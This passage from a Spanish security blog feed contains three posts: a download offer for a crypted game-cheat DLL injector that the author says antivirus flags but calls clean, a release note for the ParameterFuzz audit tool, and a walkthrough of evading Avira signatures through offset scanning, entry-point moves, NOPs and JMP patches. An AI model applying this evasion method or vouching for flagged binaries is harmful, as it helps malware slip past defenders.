<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkOGYR-ngjoicamfItMzMyYtLQbXQXmC1B2TQV_HNZC9l6Z5yR_YqtiVc92jAU3olOtVoHLFcAKqtgc7Vo7KtvXSl_r30tZVozjYHmDkPHK6N6o2K9RqpnQX3KnDQodjQScflPV7Fn1MP2/s1600/EnelDLL%252BInjector%252B6.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkOGYR-ngjoicamfItMzMyYtLQbXQXmC1B2TQV_HNZC9l6Z5yR_YqtiVc92jAU3olOtVoHLFcAKqtgc7Vo7KtvXSl_r30tZVozjYHmDkPHK6N6o2K9RqpnQX3KnDQodjQScflPV7Fn1MP2/s1600/EnelDLL%252BInjector%252B6.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Y nada como lucir un nivel 100 con tan solo un click… aunque
en este caso todo quede entre nosotros... :)<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjswRQUXaw1fUF8-VsZ1g4vZmjLKxZpiN8qBUaMXA3kqeJyGGdzLyq5LqeiCd3nwPhFbCrAbBQki5JQp5sGA_KI1_5KDpbpoOzUgMeGgLN1riJjjBaVGzDr2e8QR86dqSu4B8N9IythPKRw/s1600/EnelDLL%252BInjector%252B7.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjswRQUXaw1fUF8-VsZ1g4vZmjLKxZpiN8qBUaMXA3kqeJyGGdzLyq5LqeiCd3nwPhFbCrAbBQki5JQp5sGA_KI1_5KDpbpoOzUgMeGgLN1riJjjBaVGzDr2e8QR86dqSu4B8N9IythPKRw/s640/EnelDLL%252BInjector%252B7.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Nada tan basto como, tirar una granada a una marabunta de
texturas sobre un mismo punto, y matar a 20 de un golpe.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvxwnqfWapvApXYHsKVccsYKZ8doxClnsTawNYFGL_GqIEBomOLoouT7xsDhiO3f8EO8vFUmQVpkxiJFPjIjAdVo9LO5XoLf5xtyMNlTfSdRqVbipA4x7cpXCJuuMPeS3AjevnbGsHBI3i/s1600/EnelDLL%252BInjector%252B8.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvxwnqfWapvApXYHsKVccsYKZ8doxClnsTawNYFGL_GqIEBomOLoouT7xsDhiO3f8EO8vFUmQVpkxiJFPjIjAdVo9LO5XoLf5xtyMNlTfSdRqVbipA4x7cpXCJuuMPeS3AjevnbGsHBI3i/s640/EnelDLL%252BInjector%252B8.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Ver con poderes infrarrojos, el escondite de cada enemigo.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinoJplwLn4QNMGJiqnEziR5X9cP-H5VHApmT1DprTxOKfAxv58K_K9J9mtpkyXkmjFV8svTiD358u_xJU_rYCMYFDH3xpE5syIhe7LhVSUmyMxdEmEqA21zqkQKZPoV529-60PG65qT0mG/s1600/EnelDLL%252BInjector%252B9.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="512" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinoJplwLn4QNMGJiqnEziR5X9cP-H5VHApmT1DprTxOKfAxv58K_K9J9mtpkyXkmjFV8svTiD358u_xJU_rYCMYFDH3xpE5syIhe7LhVSUmyMxdEmEqA21zqkQKZPoV529-60PG65qT0mG/s640/EnelDLL%252BInjector%252B9.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">O dar un salto bestial mientras todos quedan <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqart0KhCcv6VgNTe1b3CUym5CGstfKbpd7Cf6e13rmix1YmVdGZaIy1XWZ7h22dVe12xclIwq1Bq16vDjtbgn3v_cmNEr8zR9-wOPo37p52YOBhi2PGAIxx1iSj3OQybyIV51WXxLrWhv/s1600/fuckencio.jpg">con cara de…</a><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2y-vIloTUm_NhhSiPySURE655cbP4UBZOOULz_AcLhlqAqd9wP2J36T2R_bzJMGIm0m4EHCPWGTOSj6PYaaKrvrsFNcq3yi_WHc8cNd-tuhfz1oWnZKSCMy2T22iZK9gEJslLfvSeh_gL/s1600/EnelDLL%252BInjector%252B10.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2y-vIloTUm_NhhSiPySURE655cbP4UBZOOULz_AcLhlqAqd9wP2J36T2R_bzJMGIm0m4EHCPWGTOSj6PYaaKrvrsFNcq3yi_WHc8cNd-tuhfz1oWnZKSCMy2T22iZK9gEJslLfvSeh_gL/s640/EnelDLL%252BInjector%252B10.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Descarga:</span></div>
<div class="MsoNormal" style="text-align: justify;"><span style="color: #0000ee; font-family: Courier New, Courier, monospace;"><u><a href="https://docs.google.com/uc?id=1G6g9ujaAkpFlQG4Vf87nhlIclhgvwggF">https://docs.google.com/uc?id=1G6g9ujaAkpFlQG4Vf87nhlIclhgvwggF</a></u></span></div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;"><span style="font-family: "Courier New", Courier, monospace;">Pass: 4n0nym0us</span></div><div class="MsoNormal" style="text-align: justify;"><span style="color: #0000ee; font-family: Courier New, Courier, monospace;"><u><br /></u></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">PD: El ejecutable es altamente detectado por los antivirus, debido al Crypter. Pero no se asusten... está limpita :)</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Saludos 4n4les! ;) </span><o:p></o:p></div>
<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com28tag:blogger.com,1999:blog-2707641124274171597.post-23178394633821529602013-02-13T21:17:00.000+01:002013-02-13T21:18:39.972+01:00ParameterFuzz v1.4<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Siendo sinceros, no es lo mejor, ni lo será… pero es gratis
¡Oye!<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Con esta crisis difícil, peliaguda, escabrosa, enrevesada… si
mi herramienta encima fuese de pago, <i>¡me
juego el cuello a que tan solo la tendría yo!</i> Menudo desperdicio de Tool,
después de no tener ni p*** idea de programación y de las horas perdidas, sería
un suicidio.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Así que bueno, decidí incorporar nuevas ideas, las cuales
posiblemente hicieran de la herramienta algo más cómoda, en lo que a una
auditoría se refiera. Qué sería de un auditor sin la posibilidad de guardar un
proyecto… la verdad <i>¿no nos dimos cuenta
del salto de GameBoy a PlayStation? ¿Cuánta pila habrá consumido esa GameBoy aparcada
con Mario Bros?</i><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><i><br /></i></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTJhxqpXhyphenhyphenShDEh_UOUyMAO14vALXER-VWq4ZcaK4vg2H2EvGpcwV6oq3dbcNcjL_Su3Z7VFpZXeQoFox69gIefuQ8fZ0CTGOmXnQ_ptTHoUuu-o2PwvdMk-ptSk6JgtdG4Ja1Y3LQxSVu/s1600/0-P1.4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="458" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTJhxqpXhyphenhyphenShDEh_UOUyMAO14vALXER-VWq4ZcaK4vg2H2EvGpcwV6oq3dbcNcjL_Su3Z7VFpZXeQoFox69gIefuQ8fZ0CTGOmXnQ_ptTHoUuu-o2PwvdMk-ptSk6JgtdG4Ja1Y3LQxSVu/s640/0-P1.4.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Esa primera pasada de fingerpritting que todo auditor
necesita, para recolectar rutas a modo Spider…<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinw6XDkYDD0qy6c2Bs9sO3rqxQVVPC0T3tKUPKNGIlH1DeB2SmbEq729wwSV-_tj1yHm0JWujk8uu0jGCujTpLZuPXL19vM_7xnnubBOezG7svIUBsanR-xoUVdEQuXIWdCYPa57NVpkOc/s1600/1-P1.4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="312" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinw6XDkYDD0qy6c2Bs9sO3rqxQVVPC0T3tKUPKNGIlH1DeB2SmbEq729wwSV-_tj1yHm0JWujk8uu0jGCujTpLZuPXL19vM_7xnnubBOezG7svIUBsanR-xoUVdEQuXIWdCYPa57NVpkOc/s640/1-P1.4.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">O simplemente un Encoder/Decoder, que tanto favor nos hace… <i>¡con esas malditas magic quotes!</i><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><i><br /></i></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1dqDZ2hIOWmt0MKp7rgMeASvDo8_aFFR5g2HZrvxnFDKEOlXpCE9b0bYoXg7cyUjF_ogAPFxq2cDhABDC5-QNbedrWgwWiqea9VpG51LGkM1-d5WFavfgMDs8umZ1MTpocLswbmsDgpKa/s1600/2-P1.4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="342" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1dqDZ2hIOWmt0MKp7rgMeASvDo8_aFFR5g2HZrvxnFDKEOlXpCE9b0bYoXg7cyUjF_ogAPFxq2cDhABDC5-QNbedrWgwWiqea9VpG51LGkM1-d5WFavfgMDs8umZ1MTpocLswbmsDgpKa/s640/2-P1.4.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Después del anterior post, en el que tuve que pegarme con <b>Avira Antivirus</b> para defender a mi <b>ParameterFuzz</b>, no me olvidé de enviar
mi muestra a sus laboratorios para que incrédulos, le dieran el visto bueno
como falso positivo. La verdad me asombró la velocidad de respuesta, y es que
en 24 horas ya he tenido recientemente el resultado de su análisis.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQyALjclmtcHm91c612B7XeMJFJm7pLYLMV3YV4vAlVaF2E4238pIproz_63Srg5eXxsXoG5I0nUBNQaGRGPM7ZKRejaIKem4K-p7JqfAcO83Xo1In2cikGdkSrKvGt-nOLIMPOvqHYlKI/s1600/3-P1.4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="323" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQyALjclmtcHm91c612B7XeMJFJm7pLYLMV3YV4vAlVaF2E4238pIproz_63Srg5eXxsXoG5I0nUBNQaGRGPM7ZKRejaIKem4K-p7JqfAcO83Xo1In2cikGdkSrKvGt-nOLIMPOvqHYlKI/s640/3-P1.4.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">La herramienta sigue siendo actualmente detectada, debido a
que las bases de firmas aún no han sido actualizadas y a que esta última
compilación que tenéis disponible, tiene un par de modificaciones sin
importancia respecto a interfaz. No obstante, enviaré el nuevo binario o
conviviremos con una firma maliciosa más.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Descarga:</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><a href="http://www.4shared.com/zip/kfqD0Qp7/ParameterFuzz_v14.html">http://www.4shared.com/zip/kfqD0Qp7/ParameterFuzz_v14.html</a><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Saludos 4n4les! ;)</span><o:p></o:p></div>
<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com4tag:blogger.com,1999:blog-2707641124274171597.post-67498379513063818792013-02-02T00:07:00.000+01:002013-02-04T20:07:04.434+01:00Evasión de firmas antivirus condicionales<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Durante este pasado mes de Enero, me he dedicado a afinar mi
herramienta <b>ParameterFuzz</b>, dentro de
poco la tendréis disponible como descarga junto a nuevas mejoras añadidas, como
es una herramienta <b>Spider</b> y un <b>Encoder</b> para facilitar este tipo de
auditorías. No obstante, tenía que encargarme antes de un tema, el cual corrobora
que las compañías antivirus, se tiran al barro con detección de firmas “condicionales”.
Y es tan solo agregar un módulo BAS, con algún tipo de algoritmo de cifrado, junto
con <b>CSocketMaster</b> para la
realización de conexiones y… <i>¡Toma firma
antivirus!</i><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-family: Courier New, Courier, monospace;"><br /></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Ciertamente, que utilice <b>Avira Antivirus</b> y no otra solución, no viene a ser más que por la
propia experiencia en evasión de firmas y es que este antivirus configurado con
heurística en nivel alto, si de algo peca es de falsos positivos… pero “no se
escapa ni uno”, que ya decidiré yo mismo que hacer con el “supuesto malware”. Os preguntareis a que me refiero con eso de
las firmas condicionales, no es ni más ni menos que una alerta antivirus, por
cada ejecutable que cumpla ciertas condiciones. En mi caso, para realizar el <b>bypass</b> a la firma genérica de <a href="http://www.avira.com/es/support-threats-description/tid/3648/tlang/es">TR/Spy.Gen</a>,
me ha tocado realizar diferentes pruebas del funcionamiento de su rutina.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Según la descripción de Avira, <b>TR/Spy.Gen</b> es:</span><o:p></o:p></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal">
</div>
<div style="text-align: justify;">
<span style="background-color: white; color: #333333; font-family: Arial, sans-serif; font-size: 9pt; line-height: 115%;">“Una rutina de detección
genérica, creada para detectar las características comunes de ciertas familias,
presentadas en varias versiones.</span></div>
<span style="color: #333333; font-family: "Arial","sans-serif"; font-size: 9.0pt; line-height: 115%;"></span><br />
<div style="text-align: justify;">
<span style="color: #333333; font-family: "Arial","sans-serif"; font-size: 9.0pt; line-height: 115%;"><span style="background-color: white; font-size: 9pt; line-height: 115%;">Esta rutina de detección especial ha sido
desarrollada para detectar las versiones aún no descubiertas, y será mejorada
constantemente.</span><span style="font-size: 9pt; line-height: 115%;">”</span></span></div>
<span style="color: #333333; font-family: "Arial","sans-serif"; font-size: 9.0pt; line-height: 115%;">
<o:p></o:p></span>
<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="color: #333333; font-family: "Arial","sans-serif"; font-size: 9.0pt; line-height: 115%;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Al ser una firma basada en características comunes de una
familia y no en una firma creada para un malware en cuestión, no bastará con
romper la firma, sino el funcionamiento del ejecutable para llevar a cabo una
buena manipulación.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">En primer lugar quise ver con <b>AVfucker</b>, cuáles eran los <b>Offsets</b>
desde los cuales la firma necesitaba tener presente que ParameterFuzz era un
malware.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVyAJGpMbSwYlIImNQFYkw67PdH5whOl5RvfjoO4Ku2zO75e9ycK2f_M7SDj7NURmPAy_MIwD7v22rJu2es6ClEnmMQvFEU1gbXN7sAum7nZjvjtWc0aYvoZOnsH0BDZmNyWkR2PKHF02B/s1600/1+Evasi%25C3%25B3n+de+firmas+antivirus+condicionales.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVyAJGpMbSwYlIImNQFYkw67PdH5whOl5RvfjoO4Ku2zO75e9ycK2f_M7SDj7NURmPAy_MIwD7v22rJu2es6ClEnmMQvFEU1gbXN7sAum7nZjvjtWc0aYvoZOnsH0BDZmNyWkR2PKHF02B/s1600/1+Evasi%25C3%25B3n+de+firmas+antivirus+condicionales.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Llenando espacios de 1.000 Bytes con ceros, podría generar
2047 ejecutables, los cuales alguno dejaría de ser detectado, con el fin de
acorralar la firma. Aunque pensándolo mejor, lo hice con 10.000 Bytes, y es que
ParameterFuzz empieza a engordar…<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Como muestra la siguiente imagen, de los 128 archivos que
fueron analizados, 105 habían sido detectados como malware, los restantes me
darían juego para encontrar la firma.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNvPZBTkz0uGNmyBTqwB4wmuE-rZFME_c9a50eBfL4Q0m81v154oTrpXAhVgLUTEtQn27V7rS216IoPgKaa0ls79JQP_tXFSOxyU1T3fN354W_fDQCIbZuE1Yrq7OBF9MuUf68P0kMTNQb/s1600/2+Evasi%25C3%25B3n+de+firmas+antivirus+condicionales.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNvPZBTkz0uGNmyBTqwB4wmuE-rZFME_c9a50eBfL4Q0m81v154oTrpXAhVgLUTEtQn27V7rS216IoPgKaa0ls79JQP_tXFSOxyU1T3fN354W_fDQCIbZuE1Yrq7OBF9MuUf68P0kMTNQb/s1600/2+Evasi%25C3%25B3n+de+firmas+antivirus+condicionales.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Tras varios procesos, del grupo de aquellos que no contenían
firma, decidí utilizar el Offset más bajo del ejecutable, del 15.200 al 15.300,
ahora sí, tan solo 1 Byte… igual a 100 nuevos archivos para analizar en busca
de firmas. <o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqps2ygIKyNNXqgYIRWyInNan6UUmva_JDbyAdt2a_UMPfw-QnwQiDUckZM5FrkZ782jXcQhhXbw_4QcoQj-9GMFuiJ7bRqjUxOhYk8l-KNFoIlfo1p7U6FXx1EZNEQiJzNSQ81yf6MyiZ/s1600/3+Evasi%25C3%25B3n+de+firmas+antivirus+condicionales.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqps2ygIKyNNXqgYIRWyInNan6UUmva_JDbyAdt2a_UMPfw-QnwQiDUckZM5FrkZ782jXcQhhXbw_4QcoQj-9GMFuiJ7bRqjUxOhYk8l-KNFoIlfo1p7U6FXx1EZNEQiJzNSQ81yf6MyiZ/s1600/3+Evasi%25C3%25B3n+de+firmas+antivirus+condicionales.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Otra pasada con el antivirus de nuevo… y el resultado fueron
5 archivos indetectables, de Offsets consecutivos y casi idénticos al original,
salvo en un 1 byte que rompía la firma de cada uno de ellos. Ninguna de las 5
muestras eran funcionales, con lo que nada mejor que pasarlas a Ollydbg, con el
objetivo de ver la parte del código afectada.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Decidí seleccionar el Offset 15.264 para empezar, ya que era
una cadena consecutiva la detectada. Así que pasando el decimal 15.264 a <b>hexadecimal</b> me quedaría con <b>3BA0</b>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv_5yEhNHWKFh_Pl24ASmz3DreFD5y4iVL7DKaWiid790G8BSzFawbRc4FZjImE3QZV7NKOX9-c8GuK2YPkKV383UY-jwueRzW7QsmLkfFkelUbATzKLSKboyCQgwCrw9YSAqFdleQTtFc/s1600/4+Evasi%25C3%25B3n+de+firmas+antivirus+condicionales.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv_5yEhNHWKFh_Pl24ASmz3DreFD5y4iVL7DKaWiid790G8BSzFawbRc4FZjImE3QZV7NKOX9-c8GuK2YPkKV383UY-jwueRzW7QsmLkfFkelUbATzKLSKboyCQgwCrw9YSAqFdleQTtFc/s1600/4+Evasi%25C3%25B3n+de+firmas+antivirus+condicionales.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Sorpresa la mía, fue encontrarme con que justo el Entry
Point de la aplicación, era el detectado y desde <b>3BA0</b> hasta <b>3BA4</b>, era el
espacio ocupado por la firma y por las dos primeras instrucciones hasta <b>3BA5</b>. <o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2p7U88KEnyodNJfABCoQM0YGxsmTcUjyQihAK_VPIxD9SUXYAoPDwCiUkuuP0LoOEyQxG0ztLIRRHeuekcdrcn_HSUDSrxKGIxTfF9Aeydu81L-2zEWd2VIhUrzp_XIii0nTl5gu8aswb/s1600/5+Evasi%25C3%25B3n+de+firmas+antivirus+condicionales.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="328" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2p7U88KEnyodNJfABCoQM0YGxsmTcUjyQihAK_VPIxD9SUXYAoPDwCiUkuuP0LoOEyQxG0ztLIRRHeuekcdrcn_HSUDSrxKGIxTfF9Aeydu81L-2zEWd2VIhUrzp_XIii0nTl5gu8aswb/s640/5+Evasi%25C3%25B3n+de+firmas+antivirus+condicionales.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Si leyeron mi anterior entrada <a href="http://www.enelpc.com/2012/12/antivirus-ko-moviendo-el-entry-point.html">moviendo
el Entry Point</a>, no tuve más remedio que realizar la migración del Entry
Point a otra dirección de memoria. Pero aquí no termina todo, sino que después
de realizar el cambio, <b>Avira Antivirus</b>
me premiaba con otra firma, <b>TR/Crypt.XPACK</b>.
Pensé entonces en introducir código basura o simplemente unos NOP entre ambas instrucciones,
con el objetivo de partir la firma y habiendo movido con antelación el Entry
Point… <i>¡pero nada! </i>Una nueva firma llamada<i> </i><b>HEUR/Malware,</b>
aparecía gracias a mi paranoica configuración.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Un silencio y cara de otro, me conmovió <b>enelpc</b>… <i>¡nada es coña!</i>.
Se me ocurrió que posiblemente, el hecho de que el Entry Point siempre
recibiese como primera instrucción un <b>PUSH</b>,
junto a todas las demás condiciones que hacían pensar que <b>ParameterFuzz</b> fuese un malware, podía hacer persistir la firma
independientemente de la zona de memoria en donde empezase la aplicación.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Así que copié ambas instrucciones, y las incluí en un hueco
dentro de la sección ejecutable.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaKrT3Ztk6V4Br5NkKTi7hKly5cz28e_0l9e2M1dbA9S_sSea14Hoo5OTkKtC9ZGeH0KhtGEwBcguYs6K7KhRRA48R-fNj4QZjByfjZPXF99cT5UEZxBC40XgpiB1Uy6Z6aiqZxPu9o4xM/s1600/6+Evasi%25C3%25B3n+de+firmas+antivirus+condicionales.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaKrT3Ztk6V4Br5NkKTi7hKly5cz28e_0l9e2M1dbA9S_sSea14Hoo5OTkKtC9ZGeH0KhtGEwBcguYs6K7KhRRA48R-fNj4QZjByfjZPXF99cT5UEZxBC40XgpiB1Uy6Z6aiqZxPu9o4xM/s1600/6+Evasi%25C3%25B3n+de+firmas+antivirus+condicionales.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Evitando la modificación de la dirección de memoria del
Entry Point, llené de NOP el hueco de ambas instrucciones y agregué en su
lugar, un simple salto <b>JMP</b> hasta el <b>PUSH</b> de inicio.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
